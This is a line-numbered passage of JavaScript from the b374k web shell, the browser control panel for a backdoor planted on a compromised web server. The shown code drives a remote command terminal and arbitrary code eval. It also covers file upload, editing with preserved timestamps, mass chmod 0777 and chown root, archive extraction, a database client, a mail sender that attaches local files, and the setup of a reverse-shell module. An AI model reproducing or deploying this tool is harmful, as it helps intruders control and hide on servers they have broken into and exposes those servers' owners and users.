  3555.                 entry = "<p class='ulRes"+ulType+i+"'><span class='strong'>&gt;</span>&nbsp;<a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a>&nbsp;<span class='ulProgress"+ulType+i+"'></span></p>";
  3556.                 ulResult.append(entry);
  3557.  
  3558.                 if(this.size<=0){
  3559.                     $('.ulProgress'+ulType+i).html('( failed )');
  3560.                     $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
  3561.                     $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
  3562.                 }
  3563.                 else{
  3564.                     ul_start(formData, ulType, i);
  3565.                 }
  3566.             }
  3567.         });
  3568.     });
  3569. }
  3570.  
  3571. function ul_add_comp(path){
  3572.     path = html_safe($('.ul_path').val());
  3573.     $('.ulcompadd').append("<tr><td style='width:144px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>");
  3574. }
  3575.  
  3576. function ul_add_url(path){
  3577.     path = html_safe($('.ul_path').val());
  3578.     $('.ulurladd').append("<tr><td style='width:144px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>");
  3579. }
  3580.  
  3581. function ul_start(formData, ulType, i){
  3582.     loading_start();
  3583.     $.ajax({
  3584.         url: targeturl,
  3585.         type: 'POST',
  3586.         data: formData,
  3587.         cache: false,
  3588.         contentType: false,
  3589.         processData: false,
  3590.         xhr: function(){
  3591.             myXhr = $.ajaxSettings.xhr();
  3592.             if(myXhr.upload){
  3593.                 myXhr.upload.addEventListener('progress', function(e){
  3594.                     percent = Math.floor(e.loaded / e.total * 100);
  3595.                     $('.ulProgress'+ulType+i).html('( '+ percent +'% )');
  3596.                 }, false);
  3597.             }
  3598.             return myXhr;
  3599.         },
  3600.         success: function(res){
  3601.             if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){
  3602.                 res = 'error';
  3603.             }
  3604.  
  3605.             if(res=='error'){
  3606.                 $('.ulProgress'+ulType+i).html('( failed )');
  3607.             }
  3608.             else{
  3609.                 $('.ulRes'+ulType+i).html(res);
  3610.             }
  3611.             loading_stop();
  3612.         },
  3613.         error: function(){
  3614.             loading_stop();
  3615.             $('.ulProgress'+ulType+i).html('( failed )');
  3616.             $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
  3617.             $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
  3618.         }
  3619.     });
  3620. }
  3621.  
  3622. function ul_go(ulType){
  3623.     ulFile = (ulType=='comp')? $('.ulFileComp'):$('.ulFileUrl');
  3624.     ulResult = (ulType=='comp')? $('.ulCompResult'):$('.ulUrlResult');
  3625.     ulResult.html('');
  3626.  
  3627.     ulFile.each(function(i){
  3628.         if(((ulType=='comp')&&this.files[0])||((ulType=='url')&&(this.value!=''))){
  3629.             file = (ulType=='comp')? this.files[0]: this.value;
  3630.             filename = (ulType=='comp')? file.name: file.substring(file.lastIndexOf('/')+1);
  3631.  
  3632.             ulSaveTo = (ulType=='comp')? $('.ulSaveToComp')[i].value:$('.ulSaveToUrl')[i].value;
  3633.             ulFilename = (ulType=='comp')? $('.ulFilenameComp')[i].value:$('.ulFilenameUrl')[i].value;
  3634.  
  3635.             var formData = new FormData();
  3636.             formData.append('ulFile', file);
  3637.             formData.append('ulSaveTo', ulSaveTo);
  3638.             formData.append('ulFilename', ulFilename);
  3639.             formData.append('ulType', ulType);
  3640.  
  3641.             entry = "<p class='ulRes"+ulType+i+"'><span class='strong'>&gt;</span>&nbsp;<a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a>&nbsp;<span class='ulProgress"+ulType+i+"'></span></p>";
  3642.             ulResult.append(entry);
  3643.  
  3644.             check = true;
  3645.             if(ulType=='comp'){
  3646.                 check = (file.size<=0);
  3647.             }
  3648.             else check = (file=="");
  3649.  
  3650.             if(check){
  3651.                 $('.ulProgress'+ulType+i).html('( failed )');
  3652.                 $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
  3653.                 $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
  3654.             }
  3655.             else{
  3656.                 ul_start(formData, ulType, i);
  3657.             }
  3658.         }
  3659.     });
  3660. }
  3661.  
  3662. function trap_ctrl_enter(el, e, callback){
  3663.     if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  3664.         if(callback!=null) window[callback]();
  3665.     }
  3666.     fix_tabchar(el, e);
  3667. }
  3668.  
  3669. function edit_save_raw(){
  3670.     edit_save('edit');
  3671. }
  3672.  
  3673. function edit_save_hex(){
  3674.     edit_save('hex');
  3675. }
  3676.  
  3677. function edit_save(editType){
  3678.     editFilename = $('#editFilename').val();
  3679.     editInput = $('#editInput').val();
  3680.     editSuccess = false;
  3681.     preserveTimestamp = 'false';
  3682.     if($('.cBox').hasClass('cBoxSelected')) preserveTimestamp = 'true';
  3683.     send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp},
  3684.         function(res){
  3685.         if(res!='error'){
  3686.             editSuccess = 'success';
  3687.             view(editFilename, editType, preserveTimestamp);
  3688.         }
  3689.         else editSuccess = 'error';
  3690.         }
  3691.     );
  3692. }
  3693.  
  3694.  
  3695.  
  3696. function mass_act(type){
  3697.     buffer = get_all_cbox_selected('xplTable', 'xpl_href');
  3698.  
  3699.     if((type=='cut')||(type=='copy')){
  3700.         localStorage.setItem('bufferLength', buffer.length);
  3701.         localStorage.setItem('bufferAction', type);
  3702.         $.each(buffer,function(i,v){
  3703.             localStorage.setItem('buffer_'+i, v);
  3704.         });
  3705.     }
  3706.     else if(type=='paste'){
  3707.         bufferLength = localStorage.getItem('bufferLength');
  3708.         bufferAction = localStorage.getItem('bufferAction');
  3709.         if(bufferLength>0){
  3710.             massBuffer = '';
  3711.             for(var i=0;i<bufferLength;i++){
  3712.                 if((buff = localStorage.getItem('buffer_'+i))){
  3713.                     massBuffer += buff + '\n';
  3714.                 }
  3715.             }
  3716.             massBuffer = $.trim(massBuffer);
  3717.  
  3718.             if(bufferAction=='cut') title = 'move';
  3719.             else if(bufferAction=='copy') title = 'copy';
  3720.  
  3721.             content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>"+title+" here</td><td><input type='text' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'mass_act_go_paste');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('paste');\">"+title+"</span></td></tr></table>";
  3722.             show_box(ucfirst(title), content);
  3723.         }
  3724.  
  3725.     }
  3726.     else if((type=='extract (tar)')||(type=='extract (tar.gz)')||(type=='extract (zip)')){
  3727.         if(type=='extract (tar)') arcType = 'untar';
  3728.         else if(type=='extract (tar.gz)') arcType = 'untargz';
  3729.         else if(type=='extract (zip)') arcType = 'unzip';
  3730.  
  3731.         if(buffer.length>0){
  3732.             massBuffer = '';
  3733.             $.each(buffer,function(i,v){
  3734.                 massBuffer += v + '\n';
  3735.             });
  3736.             massBuffer = $.trim(massBuffer);
  3737.             title = type;
  3738.  
  3739.             content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Extract to</td><td><input class='massValue' type='text' value='"+html_safe(get_cwd())+"'  onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">extract</span></td></tr></table>";
  3740.             show_box(ucfirst(title), content);
  3741.         }
  3742.     }
  3743.     else if((type=='compress (tar)')||(type=='compress (tar.gz)')||(type=='compress (zip)')){
  3744.         date = new Date();
  3745.         rand = date.getTime();
  3746.         if(type=='compress (tar)'){
  3747.             arcType = 'tar';
  3748.             arcFilename = rand+'.tar';
  3749.         }
  3750.         else if(type=='compress (tar.gz)'){
  3751.             arcType = 'targz';
  3752.             arcFilename = rand+'.tar.gz';
  3753.         }
  3754.         else if(type=='compress (zip)'){
  3755.             arcType = 'zip';
  3756.             arcFilename = rand+'.zip';
  3757.         }
  3758.  
  3759.         if(buffer.length>0){
  3760.             massBuffer = '';
  3761.             $.each(buffer,function(i,v){
  3762.                 massBuffer += v + '\n';
  3763.             });
  3764.             massBuffer = $.trim(massBuffer);
  3765.             title = type;
  3766.  
  3767.             content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Archive</td><td><input class='massValue' type='text' value='"+arcFilename+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">compress</span></td></tr></table>";
  3768.             show_box(ucfirst(title), content);
  3769.         }
  3770.     }
  3771.     else if(type!=''){
  3772.         if(buffer.length>0){
  3773.             massBuffer = '';
  3774.             $.each(buffer,function(i,v){
  3775.                 massBuffer += v + '\n';
  3776.             });
  3777.             massBuffer = $.trim(massBuffer);
  3778.             title = type;
  3779.             line = '';
  3780.             if(type=='chmod') line = "<tr><td class='colFit'>chmod</td><td><input class='massValue' type='text' value='0777' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
  3781.             else if(type=='chown') line = "<tr><td class='colFit'>chown</td><td><input class='massValue' type='text' value='root' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
  3782.             else if(type=='touch'){
  3783.                 var now = new Date();
  3784.                 line = "<tr><td class='colFit'>touch</td><td><input class='massValue' type='text' value='"+now.toGMTString()+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
  3785.             }
  3786.  
  3787.             content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr>"+line+"<tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+type+"');\">"+title+"</span></td></tr></table>";
  3788.             show_box(ucfirst(title), content);
  3789.         }
  3790.     }
  3791.  
  3792.     $('.cBoxSelected').removeClass('cBoxSelected');
  3793.     xpl_update_status();
  3794. }
  3795.  
  3796. function mass_act_go_tar(){
  3797.     mass_act_go('tar');
  3798. }
  3799.  
  3800. function mass_act_go_targz(){
  3801.     mass_act_go('targz');
  3802. }
  3803.  
  3804. function mass_act_go_zip(){
  3805.     mass_act_go('zip');
  3806. }
  3807.  
  3808. function mass_act_go_untar(){
  3809.     mass_act_go('untar');
  3810. }
  3811.  
  3812. function mass_act_go_untargz(){
  3813.     mass_act_go('untargz');
  3814. }
  3815.  
  3816. function mass_act_go_unzip(){
  3817.     mass_act_go('unzip');
  3818. }
  3819.  
  3820. function mass_act_go_paste(){
  3821.     mass_act_go('paste');
  3822. }
  3823.  
  3824. function mass_act_go_chmod(){
  3825.     mass_act_go('chmod');
  3826. }
  3827.  
  3828. function mass_act_go_chown(){
  3829.     mass_act_go('chown');
  3830. }
  3831.  
  3832. function mass_act_go_touch(){
  3833.     mass_act_go('touch');
  3834. }
  3835.  
  3836. function mass_act_go(massType){
  3837.     massBuffer = $.trim($('.massBuffer').val());
  3838.     massPath = get_cwd();
  3839.     massValue = '';
  3840.     if(massType=='paste'){
  3841.         bufferLength = localStorage.getItem('bufferLength');
  3842.         bufferAction = localStorage.getItem('bufferAction');
  3843.         if(bufferLength>0){
  3844.             massBuffer = '';
  3845.             for(var i=0;i<bufferLength;i++){
  3846.                 if((buff = localStorage.getItem('buffer_'+i))){
  3847.                     massBuffer += buff + '\n';
  3848.                 }
  3849.             }
  3850.             massBuffer = $.trim(massBuffer);
  3851.             if(bufferAction=='copy') massType = 'copy';
  3852.             else if(bufferAction=='cut') massType = 'cut';
  3853.         }
  3854.     }
  3855.     else if((massType=='chmod')||(massType=='chown')||(massType=='touch')){
  3856.         massValue = $('.massValue').val();
  3857.     }
  3858.     else if((massType=='tar')||(massType=='targz')||(massType=='zip')){
  3859.         massValue = $('.massValue').val();
  3860.     }
  3861.     else if((massType=='untar')||(massType=='untargz')||(massType=='unzip')){
  3862.         massValue = $('.massValue').val();
  3863.     }
  3864.  
  3865.  
  3866.     if(massBuffer!=''){
  3867.         send_post({massType:massType,massBuffer:massBuffer,massPath:massPath,massValue:massValue }, function(res){
  3868.             if(res!='error'){
  3869.                 $('.boxresult').html(res+' Operation(s) succeeded');
  3870.             }
  3871.             else $('.boxresult').html('Operation(s) failed');
  3872.             navigate(get_cwd());
  3873.         });
  3874.     }
  3875. }
  3876.  
  3877. function xpl_update_status(){
  3878.     totalSelected = $('#xplTable').find('.cBoxSelected').not('.cBoxAll').length;
  3879.     if(totalSelected==0) $('.xplSelected').html('');
  3880.     else $('.xplSelected').html(', '+totalSelected+' item(s) selected');
  3881. }
  3882.  
  3883.  
  3884. function xpl_bind(){
  3885.     $('.navigate').off('click');
  3886.     $('.navigate').on('click', function(e){
  3887.         path = xpl_href($(this));
  3888.         navigate(path);
  3889.         hide_box();
  3890.     });
  3891.  
  3892.     $('.navbar').off('click');
  3893.     $('.navbar').on('click', function(e){
  3894.         path = $(this).attr('data-path');
  3895.         navigate(path);
  3896.         hide_box();
  3897.     });
  3898.  
  3899.     $('.newfolder').off('click');
  3900.     $('.newfolder').on('click', function(e){
  3901.         path = html_safe(xpl_href($(this)));
  3902.         newfolder(path);
  3903.     });
  3904.  
  3905.     $('.newfile').off('click');
  3906.     $('.newfile').on('click', function(e){
  3907.         path = html_safe(xpl_href($(this)));
  3908.         newfile(path);
  3909.     });
  3910.  
  3911.     $('.del').off('click');
  3912.     $('.del').on('click', function(e){
  3913.         path = html_safe(xpl_href($(this)));
  3914.         del(path);
  3915.     });
  3916.  
  3917.     $('.view').off('click');
  3918.     $('.view').on('click', function(e){
  3919.         path = xpl_href($(this));
  3920.         view(path, 'auto');
  3921.         hide_box();
  3922.     });
  3923.  
  3924.     $('.hex').off('click');
  3925.     $('.hex').on('click', function(e){
  3926.         path = xpl_href($(this));
  3927.         view(path, 'hex');
  3928.     });
  3929.  
  3930.     $('#viewFullsize').off('click');
  3931.     $('#viewFullsize').on('click', function(e){
  3932.         src = $('#viewImage').attr('src');
  3933.         window.open(src);
  3934.     });
  3935.  
  3936.     $('.edit').off('click');
  3937.     $('.edit').on('click', function(e){
  3938.         path = xpl_href($(this));
  3939.         view(path, 'edit');
  3940.         hide_box();
  3941.     });
  3942.  
  3943.     $('.ren').off('click');
  3944.     $('.ren').on('click', function(e){
  3945.         path = html_safe(xpl_href($(this)));
  3946.         ren(path);
  3947.     });
  3948.  
  3949.     $('.action').off('click');
  3950.     $('.action').on('click', function(e){
  3951.         path = html_safe(xpl_href($(this)));
  3952.         action(path, 'file');
  3953.     });
  3954.  
  3955.     $('.actionfolder').off('click');
  3956.     $('.actionfolder').on('click', function(e){
  3957.         path = html_safe(xpl_href($(this)));
  3958.         action(path, 'dir');
  3959.     });
  3960.  
  3961.     $('.actiondot').off('click');
  3962.     $('.actiondot').on('click', function(e){
  3963.         path = html_safe(xpl_href($(this)));
  3964.         action(path, 'dot');
  3965.     });
  3966.  
  3967.     $('.dl').off('click');
  3968.     $('.dl').on('click', function(e){
  3969.         path = html_safe(xpl_href($(this)));
  3970.         $('#form').append("<input type='hidden' name='download' value='"+path+"'>");
  3971.         $('#form').submit();
  3972.         $('#form').html('');
  3973.         hide_box();
  3974.     });
  3975.  
  3976.     $('.ul').off('click');
  3977.     $('.ul').on('click', function(e){
  3978.         path = xpl_href($(this));
  3979.         navigate(path, false);
  3980.         path = html_safe(path);
  3981.         ul(path);
  3982.         hide_box();
  3983.     });
  3984.  
  3985.     $('.find').off('click');
  3986.     $('.find').on('click', function(e){
  3987.         path = xpl_href($(this));
  3988.         navigate(path, false);
  3989.         path = html_safe(path);
  3990.         find(path);
  3991.         hide_box();
  3992.     });
  3993.  
  3994.     $('#massAction').off('click');
  3995.     $('#massAction').on('change', function(e){
  3996.         type = $('#massAction').val();
  3997.         mass_act(type);
  3998.         $('#massAction').val('Action');
  3999.     });
  4000.  
  4001.     cbox_bind('xplTable','xpl_update_status');
  4002. }
  4003.  
  4004. function xpl_href(el){
  4005.     return el.parent().parent().attr('data-path');
  4006. }
  4007.  
  4008. function multimedia(path){
  4009.     var a = $('video').get(0);
  4010.     send_post({multimedia:path}, function(res){
  4011.         a.src = res;
  4012.     });
  4013.     hide_box();
  4014. }
  4015.  
  4016. $('#terminalInput').on('keydown', function(e){
  4017.     if(e.keyCode==13){
  4018.         cmd = $('#terminalInput').val();
  4019.         terminalHistory.push(cmd);
  4020.         terminalHistoryPos = terminalHistory.length;
  4021.         if(cmd=='clear'||cmd=='cls'){
  4022.             $('#terminalOutput').html('');
  4023.         }
  4024.         else if((path = cmd.match(/cd(.*)/i)) || (path = cmd.match(/^([a-z]:)$/i))){
  4025.             path = $.trim(path[1]);
  4026.             navigate(path);
  4027.         }
  4028.         else if(cmd!=''){
  4029.             send_post({ terminalInput: cmd }, function(res){
  4030.                 cwd = html_safe(get_cwd());
  4031.                 res = '<span class=\'strong\'>'+cwd+'&gt;</span>'+html_safe(cmd)+ '\n' + res+'\n';
  4032.                 $('#terminalOutput').append(res);
  4033.                 bottom = $(document).height()-$(window).height();
  4034.                 $(window).scrollTop(bottom);
  4035.             });
  4036.         }
  4037.         $('#terminalInput').val('');
  4038.         setTimeout("$('#terminalInput').focus()",100);
  4039.     }
  4040.     else if(e.keyCode==38){
  4041.         if(terminalHistoryPos>0){
  4042.             terminalHistoryPos--;
  4043.             $('#terminalInput').val(terminalHistory[terminalHistoryPos]);
  4044.             if(terminalHistoryPos<0) terminalHistoryPos = 0;
  4045.         }
  4046.     }
  4047.     else if(e.keyCode==40){
  4048.         if(terminalHistoryPos<terminalHistory.length-1){
  4049.             terminalHistoryPos++;
  4050.             $('#terminalInput').val(terminalHistory[terminalHistoryPos]);
  4051.             if(terminalHistoryPos>terminalHistory.length) terminalHistoryPos = terminalHistory.length;
  4052.         }
  4053.     }
  4054.     fix_tabchar(this, e);
  4055. });
  4056.  
  4057. function eval_go(){
  4058.     evalType = $('#evalType').val();
  4059.     evalInput = $('#evalInput').val();
  4060.     evalOptions = $('#evalOptions').val();
  4061.     evalArguments = $('#evalArguments').val();
  4062.  
  4063.     if(evalOptions=='Options/Switches') evalOptions = '';
  4064.     if(evalArguments=='Arguments') evalArguments = '';
  4065.  
  4066.     if($.trim(evalInput)!=''){
  4067.         send_post({ evalInput:evalInput, evalType:evalType, evalOptions:evalOptions, evalArguments:evalArguments },
  4068.             function(res){
  4069.                 if(res!='error'){
  4070.                     splits = res.split('{[|b374k|]}');
  4071.                     if(splits.length==2){
  4072.                         output = splits[0]+"<hr>"+splits[1];
  4073.                         $('#evalOutput').html(output);
  4074.                     }
  4075.                     else{
  4076.                         $('#evalOutput').html(res);
  4077.                     }
  4078.                 }
  4079.             }
  4080.         );
  4081.     }
  4082. }
  4083.  
  4084. function eval_init(){
  4085.     if((evalSupported = localStorage.getItem('evalSupported'))){
  4086.         eval_bind();
  4087.         output("eval : "+evalSupported);
  4088.         evalReady = true;
  4089.     }
  4090.     else{
  4091.         send_post({evalGetSupported:"evalGetSupported"}, function(res){
  4092.             evalReady = true;
  4093.             if(res!="error"){
  4094.                 localStorage.setItem('evalSupported', res);
  4095.                 evalSupported = res;
  4096.                 eval_bind();
  4097.                 output("eval : "+evalSupported);
  4098.             }
  4099.         });
  4100.     }
  4101. }
  4102.  
  4103. function eval_bind(){
  4104.     if((evalSupported!=null)&&(evalSupported!='')){
  4105.         splits = evalSupported.split(",");
  4106.         $.each(splits, function(i, k){
  4107.             $('#evalType').append("<option>"+k+"</option>");
  4108.         });
  4109.     }
  4110.     $('#evalType').on('change', function(e){
  4111.         if($('#evalType').val()=='php'){
  4112.             $('#evalAdditional').hide();
  4113.         }
  4114.         else{
  4115.             $('#evalAdditional').show();
  4116.         }
  4117.     });
  4118.     $('#evalOptions').on('focus', function(e){
  4119.         options = $('#evalOptions');
  4120.         if(options.val()=='Options/Switches') options.val('');
  4121.     });
  4122.     $('#evalOptions').on('blur', function(e){
  4123.         options = $('#evalOptions');
  4124.         if($.trim(options.val())=='') options.val('Options/Switches');
  4125.     });
  4126.     $('#evalArguments').on('focus', function(e){
  4127.         args = $('#evalArguments');
  4128.         if(args.val()=='Arguments') args.val('');
  4129.     });
  4130.     $('#evalArguments').on('blur', function(e){
  4131.         args = $('#evalArguments');
  4132.         if($.trim(args.val())=='') args.val('Arguments');
  4133.     });
  4134.  
  4135.     $('#evalInput').on('keydown', function(e){
  4136.         if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  4137.             eval_go();
  4138.         }
  4139.         fix_tabchar(this, e);
  4140.     });
  4141. }
  4142. Zepto(function($){
  4143.     $('#decodeStr').on('keydown', function(e){
  4144.         if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  4145.             decode_go();
  4146.         }
  4147.         fix_tabchar(this, e);
  4148.     });
  4149. });
  4150.  
  4151. function decode_go(){
  4152.     decodeStr = $('#decodeStr').val();
  4153.     send_post({decodeStr:decodeStr}, function(res){
  4154.         if(res!='error'){
  4155.             $('#decodeResult').html('');
  4156.             $('#decodeResult').html(res);
  4157.         }
  4158.     });
  4159. }
  4160.  
  4161.  
  4162. Zepto(function($){
  4163.     db_init();
  4164.  
  4165. });
  4166.  
  4167. var dbSupported = "";
  4168. var dbPageLimit = 50;
  4169.  
  4170. function db_init(){
  4171.     if((dbSupported = localStorage.getItem('db_supported'))){
  4172.         db_bind();
  4173.         output("db : "+dbSupported);
  4174.         db_add_supported();
  4175.     }
  4176.     else{
  4177.         send_post({dbGetSupported:""}, function(res){
  4178.             if(res!="error"){
  4179.                 localStorage.setItem('dbSupported', res);
  4180.                 dbSupported = res;
  4181.                 db_bind();
  4182.                 output("db : "+dbSupported);
  4183.                 db_add_supported();
  4184.             }
  4185.         });
  4186.     }
  4187. }
  4188.  
  4189. function db_add_supported(){
  4190.     splits = dbSupported.split(",");
  4191.     $.each(splits, function(i, k){
  4192.         $('#dbType').append("<option>"+k+"</option>");
  4193.     });
  4194. }
  4195.  
  4196. function db_bind(){
  4197.     $('#dbType').on('change', function(e){
  4198.         type = $('#dbType').val();
  4199.         if((type=='odbc')||(type=='pdo')){
  4200.             $('.dbHostLbl').html('DSN / Connection String');
  4201.             $('.dbUserRow').show();
  4202.             $('.dbPassRow').show();
  4203.             $('.dbPortRow').hide();
  4204.  
  4205.         }
  4206.         else if((type=='sqlite')||(type=='sqlite3')){
  4207.             $('.dbHostLbl').html('DB File');
  4208.             $('.dbUserRow').hide();
  4209.             $('.dbPassRow').hide();
  4210.             $('.dbPortRow').hide();
  4211.  
  4212.         }
  4213.         else{
  4214.             $('.dbHostLbl').html('Host');
  4215.             $('.dbUserRow').show();
  4216.             $('.dbPassRow').show();
  4217.             $('.dbPortRow').show();
  4218.         }
  4219.     });
  4220.  
  4221.     $('#dbQuery').on('focus', function(e){
  4222.         if($('#dbQuery').val()=='You can also press ctrl+enter to submit'){
  4223.             $('#dbQuery').val('');
  4224.         }
  4225.     });
  4226.     $('#dbQuery').on('blur', function(e){
  4227.         if($('#dbQuery').val()==''){
  4228.             $('#dbQuery').val('You can also press ctrl+enter to submit');
  4229.         }
  4230.     });
  4231.     $('#dbQuery').on('keydown', function(e){
  4232.         if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  4233.             db_run();
  4234.         }
  4235.     });
  4236. }
  4237.  
  4238. function db_nav_bind(){
  4239.     dbType = $('#dbType').val();
  4240.     $('.boxNav').off('click');
  4241.     $('.boxNav').on('click', function(){
  4242.         $(this).next().toggle();
  4243.     });
  4244.  
  4245.     $('.dbTable').off('click');
  4246.     $('.dbTable').on('click', function(){
  4247.         type = $('#dbType').val();
  4248.         table = $(this).html();
  4249.         db = $(this).parent().parent().parent().prev().html();
  4250.         db_query_tbl(type, db, table, 0, dbPageLimit);
  4251.     });
  4252. }
  4253.  
  4254. function db_connect(){
  4255.     dbType = $('#dbType').val();
  4256.     dbHost = $('#dbHost').val();
  4257.     dbUser = $('#dbUser').val();
  4258.     dbPass = $('#dbPass').val();
  4259.     dbPort = $('#dbPort').val();
  4260.     send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort}, function(res){
  4261.         if(res!='error'){
  4262.             $('#dbNav').html(res);
  4263.             $('.dbHostRow').hide();
  4264.             $('.dbUserRow').hide();
  4265.             $('.dbPassRow').hide();
  4266.             $('.dbPortRow').hide();
  4267.             $('.dbConnectRow').hide();
  4268.             $('.dbQueryRow').show();
  4269.             $('#dbBottom').show();
  4270.             db_nav_bind();
  4271.         }
  4272.         else $('.dbError').html('Unable to connect');
  4273.     });
  4274. }
  4275.  
  4276. function db_disconnect(){
  4277.     $('.dbHostRow').show();
  4278.     $('.dbUserRow').show();
  4279.     $('.dbPassRow').show();
  4280.     $('.dbPortRow').show();
  4281.     $('.dbConnectRow').show();
  4282.     $('.dbQueryRow').hide();
  4283.     $('#dbNav').html('');
  4284.     $('#dbResult').html('');
  4285.     $('#dbBottom').hide();
  4286. }
  4287.  
  4288. function db_run(){
  4289.     dbType = $('#dbType').val();
  4290.     dbHost = $('#dbHost').val();
  4291.     dbUser = $('#dbUser').val();
  4292.     dbPass = $('#dbPass').val();
  4293.     dbPort = $('#dbPort').val();
  4294.     dbQuery = $('#dbQuery').val();
  4295.  
  4296.     if((dbQuery!='')&&(dbQuery!='You can also press ctrl+enter to submit')){
  4297.         send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:dbQuery}, function(res){
  4298.             if(res!='error'){
  4299.                 $('#dbResult').html(res);
  4300.                 $('.tblResult').each(function(){
  4301.                     sorttable.k(this);
  4302.                 });
  4303.             }
  4304.         });
  4305.     }
  4306. }
  4307.  
  4308. function db_query_tbl(type, db, table, start, limit){
  4309.     dbType = $('#dbType').val();
  4310.     dbHost = $('#dbHost').val();
  4311.     dbUser = $('#dbUser').val();
  4312.     dbPass = $('#dbPass').val();
  4313.     dbPort = $('#dbPort').val();
  4314.  
  4315.     send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:'', dbDB:db, dbTable:table, dbStart:start, dbLimit:limit}, function(res){
  4316.         if(res!='error'){
  4317.             $('#dbResult').html(res);
  4318.             $('.tblResult').each(function(){
  4319.                 sorttable.k(this);
  4320.             });
  4321.         }
  4322.     });
  4323. }
  4324.  
  4325. function db_pagination(type){
  4326.     db = $('#dbDB').val();
  4327.     table = $('#dbTable').val();
  4328.     start = parseInt($('#dbStart').val());
  4329.     limit = parseInt($('#dbLimit').val());
  4330.     dbType = $('#dbType').val();
  4331.  
  4332.     if(type=='next'){
  4333.         start = start+limit;
  4334.     }
  4335.     else if(type=='prev'){
  4336.         start = start-limit;
  4337.         if(start<0) start = 0;
  4338.     }
  4339.     db_query_tbl(dbType, db, table, start, limit);
  4340. }
  4341.  
  4342. Zepto(function($){
  4343.     info_init();
  4344.  
  4345. });
  4346.  
  4347. function info_init(){
  4348.     if((infoResult = localStorage.getItem('infoResult'))){
  4349.         $('.infoResult').html(infoResult);
  4350.     }
  4351.     else{
  4352.         info_refresh();
  4353.     }
  4354. }
  4355.  
  4356. function info_toggle(id){
  4357.     $('#'+id).toggle();
  4358. }
  4359.  
  4360. function info_refresh(){
  4361.     send_post({infoRefresh:'infoRefresh'}, function(res){
  4362.         $('.infoResult').html(res);
  4363.         localStorage.setItem('infoResult', res);
  4364.     });
  4365. }
  4366.  
  4367. Zepto(function($){
  4368.  
  4369. });
  4370.  
  4371. function mail_send(){
  4372.     mailFrom = $.trim($('#mailFrom').val());
  4373.     mailTo = $.trim($('#mailTo').val());
  4374.     mailSubject = $.trim($('#mailSubject').val());
  4375.     mailContent = $('#mailContent').val();
  4376.     mailAttachment = '';
  4377.     if($('.mailAttachment')){
  4378.         mailAttachment = $('.mailAttachment').map(function(){ return this.value; }).get().join('{[|b374k|]}');
  4379.     }
  4380.  
  4381.     send_post({mailFrom:mailFrom, mailTo:mailTo, mailSubject:mailSubject, mailContent:mailContent, mailAttachment:mailAttachment}, function(res){
  4382.         $('#mailResult').html(res);
  4383.     });
  4384. }
  4385.  
  4386. function mail_attach(){
  4387.     content = "<tr><td>Local file <a onclick=\"$(this).parent().parent().remove();\">(-)</a></td><td colspan='2'><input type='text' class='mailAttachment' value=''></td></tr>";
  4388.     $('#mailTBody').append(content);
  4389. }
  4390.  
  4391. Zepto(function($){
  4392.     rs_init();
  4393.  
  4394. });
  4395.  
  4396. function rs_init(){
  4397.     if(evalReady&&(evalSupported!=null)&&(evalSupported!='')){
  4398.         splits = evalSupported.split(",");
  4399.         $.each(splits, function(i, k){
  4400.             $('.rsType').append("<option>"+k+"</option>");
  4401.         });
  4402.     }
  4403.     else setTimeout('rs_init()', 1000);
  4404.  
